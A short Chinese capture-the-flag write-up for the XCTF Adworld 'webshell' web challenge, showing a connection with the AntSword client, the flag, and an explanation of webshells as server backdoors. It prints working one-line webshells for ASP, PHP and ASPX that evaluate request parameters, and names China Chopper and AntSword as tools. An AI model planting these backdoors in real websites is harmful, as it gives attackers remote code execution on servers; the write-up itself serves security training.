【愚公系列】2021年12月 攻防世界-简单题-WEB-010(webshell)

举报
愚公搬代码 发表于 2021/12/25 21:45:44 2021/12/25
【摘要】 一、webshell题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0&page=1 二、使用步骤 1.点击获取在线场景 2.webshell进入网页上中国蚁剑发现flag:cyberpeace{250cf53b93cb75f6a7b240b28d94397f} 总结webshell就是以asp...

一、webshell

题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0&page=1

二、使用步骤

1.点击获取在线场景

在这里插入图片描述

2.webshell

进入网页
在这里插入图片描述
上中国蚁剑
在这里插入图片描述
在这里插入图片描述

发现flag:cyberpeace{250cf53b93cb75f6a7b240b28d94397f}


总结

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。

webshell相关例子

asp一句话木马:

<%execute(request("value"))%>

php一句话webshell:

<?php @eval($_POST[value]);?>

aspx一句话webshell:

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

webshell相关工具

  • 中国菜刀
  • 中国蚁剑
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

举报
请填写举报理由
0/200